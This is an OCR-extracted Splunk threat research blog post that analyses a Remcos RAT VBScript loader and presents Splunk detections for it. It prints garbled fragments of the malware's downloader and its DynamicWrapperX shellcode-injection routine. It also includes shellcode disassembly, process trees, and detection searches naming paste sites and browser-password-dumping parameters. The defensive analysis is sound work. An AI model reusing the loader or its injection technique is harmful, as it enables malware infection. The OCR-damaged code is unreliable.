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Splunk is committed to using inclusive and unbiased language. This blog post might contain terminology that we
no longer use. For more information on our updated terminology and our stance on biased language, please visit
our blog post. We appreciate your understanding as we work towards making our community more inclusive for

everyone.

This particular sample makes the detection and analysis of the adversary behavior more challenging. The most
prevalent loaders seen in the wild are window scripting languages, JScript (.js), and VBScript (.vbs). These scripts
are easy to obfuscate and encrypt in order to bypass detection and preventative controls, therefore many
adversaries use this methodology. In this blog, Splunk Threat Research (STRT) will discuss a Remcos loader that
utilizes DynamicWrapperX (dynwrapx.dll) to execute shellcode and inject Remcos RAT into the target process.
Ultimately STRT covers what Splunk Security Content detections find behaviors and TTPs that apply to the

DynamicWrapperX Loader.
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The Initial Downloader

This Remcos sample loader starts with a simple VBScript that attempts to download the second VBScript from

paste.ee. The script on paste.ee is the main loader of Remcos. Below is the screenshot of the initial downloader
script. STRT has witnessed the script stay online up to a few weeks between major campaign changes. Paste.ee

offers multiple options to automatically take down code between hours up to a year. The full VBScript loader may

be found here.

V:Dim GetCode, GetResponse

Set GetCode = CreateObject ("MSXML2
GetCode.Open "GET",

"https

n
ct
]

' 1!—.

WYMT HTTDN
- XMLHTTP")

fv 1+ G4
- ;|

rD™m
y &

;, False

GetCode.S5end

GetResponse = GetCode.ResponseText
Execute (GetResponse)

L

The VBScript Main Remcos Loader

Detection Evasion
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STRT found the script loader interesting in how it tries to evade inspection by preventative controls by embedding
a large amount of normal script code and comments at the beginning and end of the loader. For example, the
screenshot below shows its code in lines 120-150 pertains to Microsoft “pubprn.vbs”, a script designed to publish
printers within active directory domain services. Skimming over the code quickly gives it away that shellcode is

embedded inside.

r;'i Function :T

Pim L PubprnUsagel text
Dim L_PubprnUsage2 text
im L PubprnUsage3 text
IDim L_EubprnUsagei_t&xt
Dim L PubprnUsageS_ text
Dim L PubprnUsageé text

im L_GetObjectErrorl text
im L GetObjectError2_text

Pim L PublishErrorl text
im L PublishError2_ text
Dim L_PublishError3 text
Dim L PublishSuccessl text

F_Pubp:nUsagel_cext
E_Pubp::uaaqez_uext
. PubprnlUsage3_text
_Pubp:nUsagQQ_cext
L_PubprnUsage5_text
L_Ptbp:nUsageE_text

I. GetObjectExrorl text
_GetDb]ectEx:DrZ_text
, GetObjectError3 text "Error: Unable to access

L T |

Preparation of Payload

Now that the loader has downloaded the next stage from paste.ee, this VBScript will prepare several payloads and
eventually load the actual Remcos malicious software. First, it will decode the actual Remcos RAT, then extract
the dynwrapx.dll (used to load the shellcode), and finally the shellcode. It will also initialize the file path of

(c:\windows\winhlp32.exe) which is the target process to inject Remcos RAT.

Page 3 of 16



https://docs.microsoft.com/en_us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753116(v=ws.11)

https://www.splunk.com /en_us/blog/security/detecting-malware-script-loaders-using-remcos-threat-research-release-december-2021.htm|

' Copyright (c) Microsoft Corporation. All rights reserved.
' Abstract:

' prngctl.vbs - printer control script for WMI on Windows

L used to pause, resume and purge a printer

¥ also used to print a test page on a printer

[-= server] [-p printer] [-u user name] [-w password]

' prngctl -m -3 server -p pr
' prngctl -x -s server -p pr
' prngctl —& -b printer

WScript.Sleep(7)
WScript.Sleep(7)

DIM dateas, hotfii, x254, X33
X33= C600C60046004700E600000023003300C6005600E6002700540086000000E48E06
X254 = "I"

) ) - encoded remcos RAT
Set ShellObj = WScript.CreateObject ("WSCR"™ + x254 + "PT.SHELL" ‘

dateas = StRRevErse ("
dateas = Replace(dateas, "E", "C
%no::ii = 5hellObj.ExpandEnvironmentStrings ("%

\target host to inject

Call FIX WOW64()
Call rompepepe {dateas, hotfii)
Call rompepepe (dateas, hotfii)
Call rompepepe(dateas, hotfii)
WScript.Sleep(8)
[FSub rompepepe(BinaryData, FilePath)
Dim DLL_DATA, DLL_ PATH
Dim SHELLCODE DATA, SHELLCODE PTR
Dim petudo, i

Set S5hellObj = WScript.CreateObject ("WSCRIPT.S

ncoded dynwrapx.dll

DLL_DATA = StRRevErse ("0

SOLONDRA = replace(DLL_DATA, "#", "", 1, 993 ,1)

SHELLCODE_DATA = StRRevErse ("%00000

‘\shellcode

aLAMBRE = replace{SHELLCODE DATA, "%", "", 1, 999 ,1)

Below is a screenshot of each payload decoded:
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VBScript Execution in x64 Bit

This script also has a function to check what OS architecture type the infected host has using WMI (Windows

Management Instrumentation - T1047) if it is an x64 host, it will run the VBScript using the following command

format “wscript /b /e:vbscript <vbscript filename>" like what is shown in the screenshot below. Also you can find

the raw attack data sysmon.log for this technique.
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Sub

End

FIX_WOW64 ()
Set 5hellObj = WScript.CreateObject ("WSCRIPFT.SHELL")

Set ObjWMIService = GetObject ("WINMGMTS: -\RO
Set ColItems = ObjWMIService.ExecQuery("SELEC

For Each CbjItem In CollItems
SystenType = ObjItem.SystemType
Next

If (UCase(SystemType) = "XE64-BASED PC") And (InStr(UCase(WScript.PATH) , "SYSWOWE4"
S5hellObj.Run ShellObj.ExpandEnvironmentStrings ("$WINDIRE") & "\SYSWOWE4\WSC
& WScript.ScriptFullName & Chr (34)
WScript.Quit

End If

Sub

e:vbscript " & Chr(34)

The Shellcode - Process Injection

The decoded shellcode uses pre-computed API hashes to dynamically resolve its API import in order to inject the

Remcos malware into a targeted process on the host. The screenshot below shows the last WriteProcessMemory

API and the ResumeThread API calls get used to write and subsequently execute the Remcos RAT in the target

process where it injects its code.

call eax

push )

ca sub_419

push ResumeThread HASH
ouch ELX I
call func_harvest_api_4a5@
push 2Eh ;

call sub_419

mov ecx, [ecx]

push dword ptr [ecx+4]
call eax

push 4Ah

call sub_419

mov esp, [ecx]

popa

retn

sub_54 endp

push writeprocessne-ory_q:?H

push BCx ¥

call func_harvest_api_ 450 k--

add esp, oCh GetMaximumProcessorCount_HASH = BD69B@676h
call eax IsCalendarLeapDay_HASH = @D6D562D6h
push 22h : [EnumResourcelanguagesExA_HASH =

call sub_419 FnumResource,aﬂguagesExN_HASH = @

mov ecx, [ecx] GetGeoInfoEx_HASH = @D77CA916h

mov edx, [ecx+28h] SetConsoleDisplayMode HASH = BD796A152h
add edx, [ecx+234h] K32EnumDeviceDrivers HASH = @D7FBGEBSI
push 32h ; WriteProcessMemory HASH = @D83D6AAlh
call sub_419

mov ecx, [ecx]

add ecx, 9Boh

mOV [ecx], edx

push e

call sub_419

push SetThreadContext_HASH

push ecx

call func_harvest_api_45@

push 32h ;

call sub_419

mov edx, ecx

push 2Eh

call sub_419

mov ecx, [ecx]

push dword ptr [edx]
push dword ptr [ecx+4]

DynamicWrapperX - ShellCode Execution
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To execute the shellcode for Remcos via process injection, it first decodes and drops “dynwrapx.dll” in the
%temp% folder and loads/installs it using Regsvr3?2 install silent parameter (“regsvr32 /I /S”). This DLL will give
the VBScript access to the “DynamicWrapperX" Object to load 2 more windows DLL modules named user32.dll

and kernel32.dll to allocate memory and execute the shellcode.

Using VirtualAlloc API call, it will allocate a region of memory for the Remcos malware and shellcode. This
memory address will be passed as an argument in CallWindowProcW API to load the shellcode to inject Remcos

RAT to the target process, which is WinHIp32.exe. The screenshot below shows the code of this technique.

dim x66, x77

x66 =
x77 ="
DLL PATH = ShellObj .ExpandEnvirommentStrings (":TE" + x77 + "Pi") & "\d" + %66 + "ns 1
Call FileWricte(DLL_PATH, HexToBin (SOLONDRA))
= Do
Call ShellObj.Run("RE LEXE ' & Chr(34) & DLL_PATH & Chr(34), 0, True)
Set DynWrapObj = CreateCbject ("DynamicWrapperX™)
Call WScript.Sleep(1000)
Loop Until IsObject (DynWrapObj)
Call DynWrapObj.Register (" r iowl , LCase("I=I "), LCase( ))
Call DynWrapObj.Register("KERNEL32.DLL", "VirtualRAlloc™, LCase("I=PUUU"), LCase("R=P"))
SHELLCODE_PTR = DynWrapObj.VirtualAlloc(0, Len(alAMBRE) / 2, 4096, 64)
E For i = 1 To Len({(aLAMBRE) Step 2
Char = Asc(Chr("i&H" & Mid(alBMBRE, i, 2)))
- Call DynWrapCbj.NumPut (Eval (Char), SHELLCODE_PTR, (i - 1) I/ 2) winhin2? ave file nath
Next 4
rd
V'
petudo = DynWrapObj.VirtualAlloc(0, Len(BinaryData) + 1, 4094, 64) y
L remcos in memo
= For i = 1 To Len(BinaryData) Step 2 ,;’ ry
Char = Asc(Chr("&H" & Mid(BinaryData, i, 2))} 4
Call DynWrapObj.NumPut (Eval (Char), petudo,.%{i - 1) / 2)
Next
o
Call DynWrapObj.CallWindowProcW(SHELLCODE_PTR, DynWrapObj.StrPtr(FilePath), petudo, 0, D)
End Sub

Where is Remcos Going?

Using VirusTotal behavior to analyze this sample further STRT searched for a pattern of behavior that spawned

winhlp32.exe and used regsvr32.exe to load dynwrapx.dll. STRT crafted this VirusTotal behavior query:

behavior:"\"%windir%\\System32\\regsvr32.exe\" /I /S \"%TEMP%\\dynwrapx.dl1\"" behavior:"\"%windir%\\winhlp32.¢

This uncovered an interesting pattern that began 9/12/2021 from Argentina which matched the same behavior as
our original sample. Each upload contained a different section of the final sample (reviewed above). STRT
speculates the adversary was testing their code against antivirus engines. After the first few “testing” uploads

occurred, it was followed up with actual active campaigns with complete Remcos loaders.
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Detections Size First seen Last seen Submitters
3B5B8848981E1973AE48C0ESBAIBBTBA274A95BEEE36D7EAFLABSCAEEI2I644F
2021-09-12 2021-0%-12
5 & 1.vb: 19 /58 6479 KB 1
il - 19:53:10 19:53:10
vba obfuscated handle-file create-file run-file write-file direct-cpu-clock-access runtime-modules cve-2014-3%931
BECAFDA39BD29F4B90682E3C1CFBCBE1F60ADBCABEAFAGE TBEB622826FE0CC0R
2021-09-12 2021-0%-12
& 1.ub: 18 /58 194.92 KB 1
°® hia 19:56:28 19:56:28
vba obfuscated handle-file create-file run-file  write-file direct-cpu-clock-access runtime-modules cve-2014-3%931
73ECCICHBA3TBIEBAECA19CFD7719151E3434A47ECEB3AT 1456 78A4AA0FB4BE
2021-09-12 2021-09-12
5 & 1.vb: 17 /58 64.76 KB 1
°® it 19:59:27 19:59:27
vba obfuscated run-file handle-file create-file cve-2018-8174 exploit write-file direct-cpu-clock-access
TOTECECATITA1217E2AA7RI7DF BBABABE148BI6F 365CB4A5E346A9E4ABCEEFD
2021-09-12 2021-09-12
D (B . 3276 KB 1
@ ' ¢l 1.5 19758 20:00:33 20:00:33
vba obfuscated run-fle handle-file create-file cve-2018-8174 exploit write-file create-ole
FSFEDDBE33ES762A601685F 608201 EEISERTBRARTB66F 26CE TB4BB2ACFICERAR
2021-09-12 2021-09-12
L 62,06 KB 1
@ -5 17453 20:01:34 20:01:34
vba obfuscated run-fle handle-file cve-2018-8174 runtime-modules create-file exploit  calls-wmi
TD2BAAAEA4524720676230306090369430756567056E28881BA11A4A1FBE1380
2021-09-12 2021-09-12
3 1.ub 18 /58 66,46 KB 1
e o 20:09:08 20:09:08
vba obfuscated run-fle handle-file create-file cve-2018-8174 exploit write-file direct-cpu-clock-access
71E11126130B1E93CABOF538137A246AFO5BAFDDS6CAGDAE4BB4536634T68F T
2021-09-12 2021-09-12
1.uby 19 /58 6819 KB 1
@ i 20:1157 20:11:57
vba obfuscated run-file handle-file create-file cve-2018-8174 exploit write-fle direct-cpu-clock-access
B70FBBA2FCACIE1GASSE18DB66DAF 2BAESED2BIFETC2BAZTFETFCICEA3ATEICE
2021-09-12 2021-09-12
3 (3 : 6811 KB 1
£ 1O . 18758 2011553 2011553
javascript obfuscated run-fle handle-file cve-2018-8174 create-file exploit write-file direct-cpu-clock-access
DBAE797D84B33A1FDB4B413BDBRARFBEBI46R01AFCIASAE1DCE51215A468AF 44
2021-09-12 2021-09-12
» & . 77.69 KB 1
&80 1w 19res 20:16:48 20116:48
javascript obfuscated run-fle handle-file cve-2018-8174 runtime-modules create-file exploit
4D314BDABACAT52402A3906458B01A35FFAG1DD4F7092318F B48B3L3E1 35C48F
2021-09-12 2021-09-12
» & . 75.29 KB 1
8 g 10 18,168 20:18:04 2018:04
javascript obfuscated run-fle handle-file cve-2018-8174 runtime-modules create-file exploit
CBB1DA732ACCOB36C51FBEE2AA2ABAFDAIF 234 AEGEISEBD6BEEFLARGAZE4250B
2021-09-13 2021-09-13
4 28.38KB 1
@ Tt TigoA 15:21:34 15:21:34
vba obfuscated run-file system-fibrary cve-2018-8174 exploit  anti-analysis  direct-cpu-clock-access
THF7C46D7BDSESAB2AF 147ERFB8F932918D45433E76B5BRACTD2865FBO5A041
2021-09-22 2021-09-22
3 & 7 inved % 5 155 MB 1
& & invoicepayment.ubs 26 157 fm— -
vba  enum-windows jpattern  checks-cpu: runting ciul detect-debug
CF7E1FBICEIBY181CB5FECIECOEERF427F 184F291206033AF53CR2ABDIR45286
2021-09-23 2021-09-23
Notificacion AFIP.ub: 9157 74.82 MB 1
® pEECACTOR T 12:34:08 12:34:08

vba obfuscated enum-windows exe-pattern handle-file system-library run-file ~write-fle anti-analysis create-ole

The pattern of behavior we queried for looks like this in VTT -
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Processes Tree
L5 2684 - wmiadap.exe /F /T /R
|% 2740 - Fwindir¥\systema2iwbemiwmiprvse.exe
|% 103é& - wscript.exe %SAMPLEPATH:
I% 1468 - "Swindirie\SY SWOWeWSCRIPT.EXE" b flenvbscript “SAMPLEPATH:"
|% 2252 - "%windirie\System32\regsvriZexe” /| 15 "R TEMP® \dynwrapx.dil”
I% 2120 - "Swindiritwinhlp32.exe”
I% 2156 - "Swindirsa\winhlp32 .exe”
I% 2264 - "SHwindirkdwinhip32.exe”
I% 212 - "ewindirss\System32iregsvr32exe” /115 "% TEMP\dynwraps.dil®

I% 2168 - "Hwindirit\Systema32iregsvri2.exe™ /1 /53 "% TEMP® \dynwrape.dil®

Following using winhlp32.exe, STRT noticed it shifted to using installutil.exe. With installutil.exe, the pattern is
very similar. The biggest difference STRT noticed was, during the VBScript execution, unlike winhlp32.exe,

installutil.exe did not load dynwrapx.dll.

VirusTotal behavior query:

behavior:"\"%windir%\\System32\\regsvr32.exe\" /I /S \"%TEMP%\\dynwrapx.dl1\"" behavior:"\\installutil.exe\""
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Processes Tree
|% 2296 - Sewindirtt\systemd2\svchost.exe -k WerSvcGroup
|% 2952 - Sowindiris\SysWOWed\WerFault.exe -u -p 2940 -5 20
Ls 2244 - wmiadap.exe /F /T /R
|% 2252 - %windir¥%\system32Zwbembiwmiprvse exe
|% 2676 - wscript.exe %SAMPLEPATHS:

I% 2B0E - "windir?e\SYSWOWEAWSCRIPT.EXE" //b /fervbscript "%SAMPLEPATHS:"
|% 2848 - "ewindirta\aystem32\regsvr3Z.exe” M /5 "WTEMP\dynwrapx.dil”
|% 2888 - "windir¥t\System32iregevri2.exe” /1 /53 "HTEMPY\dynwrapsx.dil®
|% 2924 - "windir¥\System32\regsvri2.exe” /| /15 "W TEMP:\dynwrapx.dil”
|% 2912 - "Swindirgi\WWicrosoft NET\Frameworkivd 0. 3031 Unstallutil.eXe”
|% 2940 - "mwindirds\Microsoft. MET\WFrameworkwd.0.30319UnstallUtil e Xe"

|% 28746 - "awindirSeiMicrosoft. NETVFrameworkiv4d. 0.3031%UnstallLtil.eXe"

STRT, generated a few additional queries that helped us to holistically look for other samples, these provided
insight into further behaviors, but also the visibility into how much interaction and changes go into each

campaign.
behaviour_processes:"\"%windir%\\SYSWOW64\\WSCRIPT.EXE\" //b //e:vbscript \"%SAMPLEPATH%\""

content:{5365742044796e577261704f626a203d2043726561746541626a656374282244796e616d696357726170706572582229}

VT Correlation Graph of Remcos:

The following VT Correlation Graph shows us the affected countries by this Remcos campaign, the number of C2

servers connections it made to download other malware or its components. Even some interesting infection chain

vectors like dropping .Ink file and downloading components from its C2.
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Remcos Analytic Story

The update on the analytic story introduced 21 new and 5 modified detections. In this section, we describe some

of these analytics.

Suspicious Process DNS Query Known Abuse Web Services

Detects a suspicious process making a DNS query via known abuse text paste web services, or VoIP, instant
messaging, and digital distribution platform to use to download external files. This technique is abused by
adversaries, malware actors, and red teams to download a malicious file on the target host. This is a good TTP
indicator for possible initial access techniques. A user will experience false positives if the following instant

messaging is allowed or common applications like telegram, discord are allowed in the corporate network.
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‘sysmon® EventCode=22 QueryName IN ("*pastebin*", "*discord*", "*telegram*", "*t.me*") process_name IN ("cmd.e;

| stats count min(_time) as firstTime max(_time) as lastTime by Image QueryName QueryStatus process_name Queryl

‘security_content_ctime(firstTime)®

‘security_content_ctime(lastTime)®

‘sysmon' EventCode=22 QueryName [N {"*pastebinx", "#discord*", "xtelegramx",6 "%t .mex")

process_name IN ("cmd.exe", "xpowershellx", “"pwsh.exe", "wscript.exe", "cscript.exe")

| stats count min(_time) as firstTime max(_time) as lastTime by Image QueryName QueryStatus process_name QueryResults Computer
| “security_content_ctime(firstTime)’

| ‘securitykcontent,ctime(lastTime)"

« B events (18/11/2021 06:21:00.000 to 18/11/202110:21:17.000) No Event Sampling

Events Patterns Statistics (3) Visualization
20 PerPage = & Format Preview «
rd Fd

QueryStatus process_name
Image & 7 QueryName < o s = QueryResults &
C:\Windows\System32\WScript.exe pastebin.com 7} WSeript.exe :ffff:1084.23.9
C:\Windows\System32\WScript .exe pastebin.com a WScript.exe 2o fFFF:104.23.9
C:\Windows\System32\WindowsPowerShell\v1.8\powershell.exe cdn.discordapp.com a powershell.exe Lffff:162,159.

Loading Of Dynwrapx Module

DynamicWrapperX is an ActiveX component that can be used in a VBScript to call Windows API functions, but it
requires the dynwrapx.dll to be installed and registered. With that, registering or loading dynwrapx.dll to a host is
highly suspicious. In most instances when it is maliciously used the best way to triage is to review parallel
processes and pivot on the process_guid. Review the registry for any suspicious modifications meant to load
dynwrapx.dll. Identify any suspicious module loads of dynwrapx.dll. This detection will return and identify the

processes that invoke vbs/wscript/cscript.

"7 |--- wscript.exe (6160) 2021-09-29 19:41:47 "C:\Windows\SYSWOW64\WSCRIPT.EXE" //b //e:vbscript "C:\Users\Administrator\Desktop\6104039597178880\remcos.vbs"
© 77 |--- winhlp32.exe (10068) 2021-09-29 19:41:54 "C:\Windows\winhlp32.exe"
© |--- regsvr32.exe (3584) 2021-09-29 19:41:52 "C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\ADMINI~1\AppData\Local\Temp\2\dynwrapx.dl1l"

© |--- winhlp32.exe (6448) 2021-09-29 19:41:52 "C:\Windows\winhlp32.exe"
" |--- regsvr32.exe (6760) 2021-09-29 19:41:56 "C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\ADMINI~1\AppData\Local\Temp\2\dynwrapx.dll"
* |--- winhlp32.exe (8256) 2021-09-29 19:41:49 "C:\Windows\winhlp32.exe"
T 77 7T |--- wscript.exe (10152) 2021-09-29 19:41:55 "C:\Windows\System32\WScript.exe" "C:\Users\ADMINI~1\AppData\Local\Temp\2\wiofwjtjlqgbmphhhntqkfievo.vbs"
" |--- regsvr32.exe (4132) 2021-09-29 19:41:47 "C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\ADMINI~1\AppData\lLocal\Temp\2\dynwrapx.dll"

*sysmon® EventCode=7 (ImagelLoaded = "*\\dynwrapx.dll" OR OriginalFileName = "dynwrapx.dll" OR Product = "Dynar

Page 12 of 16



https://www.splunk.com /en_us/blog/security/detecting-malware-script-loaders-using-remcos-threat-research-release-december-2021.htm|

| stats count min(_time) as firstTime max(_time) as lastTime

by Image ImagelLoaded OriginalFileName Product process_name Computer EventCode Signed Processld

‘security_content_ctime(firstTime)®

‘security_content_ctime(lastTime)®

‘sysmon’ EventCode=7 (ImagelLoaded = "#\\dynwrapx.dll" OR OriginalFileName = "dynwrapx.dl1l" O% Product = "DynamicWrapperx")
| stats count min(_time) as firstTime max(_time) as lastTime

} Image ImagelLoaded OriginalFileMame Product process_name Computer EventCode Signed Processld

| ‘security_content_ctime(firstTime)’

| 'security_content_ctime(lastTime)"

+ 2 events (18/11/2021 06:09:00.000 to 18/11/2021 10:09:45.000} No Event Sampling =
Events Patterns Statistics (2) Visualization

20 Per Page » # Format Preview »

OriginalFileName .~ s
Image = i Imageloaded = e v Product = it process_name =
C:\Windows\SysWOW64\regsvr32.exe C:\Users\ADMINI~-1\AppData‘\Local\Temp\2\dynwrapx.dll dynwrapx.dll DynamicWrapperX dynwrapx.dll
C:\Windows\SysWOW64\wscript.exe C:\Users\ADMINI-1\AppData\Local\Temp\2\dynwrapx.dll dynwrapx.dll DynamicWrapperX dynwrapx.dll

System Info Gathering Using Dxdiag Application

Detects a suspicious dxdiag.exe process command-line execution. Dxdiag is used to collect the system info of the
target host. This technique was seen used by Remcos RATS, various actors, and other malware to collect
information as part of the recon or collection phase of an attack. This behavior should be rarely seen in a corporate
network, but this command line can be used by a network administrator to audit host machine specifications. Thus
in some rare cases, this detection will contain false positives in its results. To triage further, analyze what
commands were passed after it pipes out the result to a file for further processing. Examples of anyrun remcos

analysis that shows its behavior before and after this technique was executed.

| tstats ‘security_content_summariesonly' count min(_time) as firstTime max(_time)

as lastTime from datamodel=Endpoint.Processes where ‘process_dxdiag' AND Processes.process

= "* /t *" by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process

Processes.process_name Processes.process Processes.process_id Processes.parent_process_id
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| “drop_dm_object_name(Processes)' | ‘security_content_ctime(firstTime)' | ‘security_content_ctime(lastTime)

| tstats "security_content_summariesonly’ count min{_time) firstTime max(_time)
lastTime datamodel=Endpoint.Processes wk ‘process_dxdiag’ Processes.process
= "x ft *" Processes.dest Processes.user Processes.parent_process_name Processes.parent_process

Processes.process_name Processes.process Processes.process_id Processes.parent_process_id

| “drop_dm_object_name(Processes)’ | “security_content_ctime(firstTime) | 'security_content_ctime(lastTime)"

+ 2 events (15/11/2021 12:00:00.000 to 22/11/2021 12:12:49.000) No Event Sampling =

Events Patterns Statistics (2) Visualization
20 Per Page » # Format Preview »
4 7’
dest = F g user = rs parent_process_name = parent_process = 4 process_name * process =
win-de- Administrator cmd. exe "C:\Windows\system32\cmd. exe" dxdiag.exe dxdiag /t c:\temp\sysinfo.txt
§7@.attackrange. local
win-dec- administrator cmd . exe C:\Windows\System32\cmd.exe dxdiag.exe C:\Windows\System32\dxdiag.exe /t
97@.attackrange. local c:\temp\sysinfo. txt

Possible Browser Pass View Parameter

Detects a suspicious process that contains command-line parameters related to a web browser credential dumper.
This technique is used by Remcos RAT malware where it uses the Nirsoft webbrowserpassview.exe application to
dump web browser credentials. Remcos use the "/stext" command line to dump the credential in text format. This
Hunting query is a good indicator of hosts suffering from possible Remcos RAT infection. Since the hunting query
is based on the parameter command and the possible path where it will save the text credential information, It may

catch normal tools that are using the same command and behavior.

| tstats ‘security_content_summariesonly' count min(_time) as firstTime max(_time)

as lastTime from datamodel=Endpoint.Processes where Processes.process IN ("*/stext*", "*/shtml *", "*/LoadP:

by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name

| “drop_dm_object_name(Processes)®

‘security_content_ctime(firstTime)®

‘security_content_ctime(lastTime)®
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New Search
| tstats 'security_content_summariesonly’ count min(_time) firstTime max(_time)
lastTime datamodel=Endpoint.Processes
e Processes.process ("x/stext =", "x/shtml =" 6 “=/LoadPasswordslE*", "#/LoadPasswordsFirefoxx", "«/LoadPasswordsChrome=", "x/LoadPasswordsOpera=", "x/LoadPasswordsSafarix"
., "#/UseOperaPasswordFilex", "x/OperaPasswordFile*", "#/stabs", "#/scommax", "#/stabular*", "s/shtml#", "&/sverhtml*",6 "s/sxml*", "#/skeepass*" )
Processes.process ("=\\temp\\x", "s\\users\\public\\*", "s\\programdata\\x")

Processes.dest Processes.user Processes.parent_process_name Processes.parent_process
Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name

| ‘drop_dm_object_name{Processes)’ | 'security_content_ctime(firstTime)' | security_content_ctime(lastTime)

+ 2 events (15/11/2021 13:00:00.000 to 22/11/2021 13:46:53.000) No Event Sampling »

Events Patterns Statistics (2) Visualization
20 Per Page = # Format Preview «
s

parent_process_name
dest = ’ user = P4 $ parent_process = ’ process_name /’ process = 7’
win-dc- Administrator comd. exe “cmd.exe” /s /k pushd WebBrowserPassView.exe WebBrowserPass¥iew.exe /stext c:\temp\lsdasdada
97@. attackrange. local "C:\Users\Administrater\Downloads"
win-de administrator cmd, exe C:\Windows\System32\cmd ., exe WebBrowserPassView. exe C:\Users\Administrator\Downloads\WebBrowserPassView.exe
§78.attackrange. local /stext c:\temp\lsdasdada

Automating with SOAR Playbooks

The following community Splunk SOAR playbooks mentioned below can be used in conjunction with some of the

previously described analytics:

Why Should You Care?

This blog shows how vbscript and jscript are leveraged by all sorts of offensive actors including penetration

Unlike binary malware loaders, malware loader scripts are very flexible in terms of updates, encryption and also

code obfuscation to bypass detections. According to unit42’s 2020 article, Script base malware is one of the new

attacker trends and it keeps on evolving and improving as part of the malware tooling ecosystem. Cyber
Defenders need to design and deploy effective monitoring capabilities that allow them to detect and respond to:
suspicious script execution, process injection and suspicious use of text paste web service in their corporate or

server networks.
Learn More

You can find the latest content about security analytic stories on research.splunk.com. For a full list of security

content, check out the release notes on Splunk Docs.

e 3.32.0
Feedback

Any feedback or requests? Feel free to put in an issue on Github and we’ll follow up. Alternatively, join us on the

Slack channel #security-research. Follow these instructions If you need an invitation to our Splunk user groups on
Slack.
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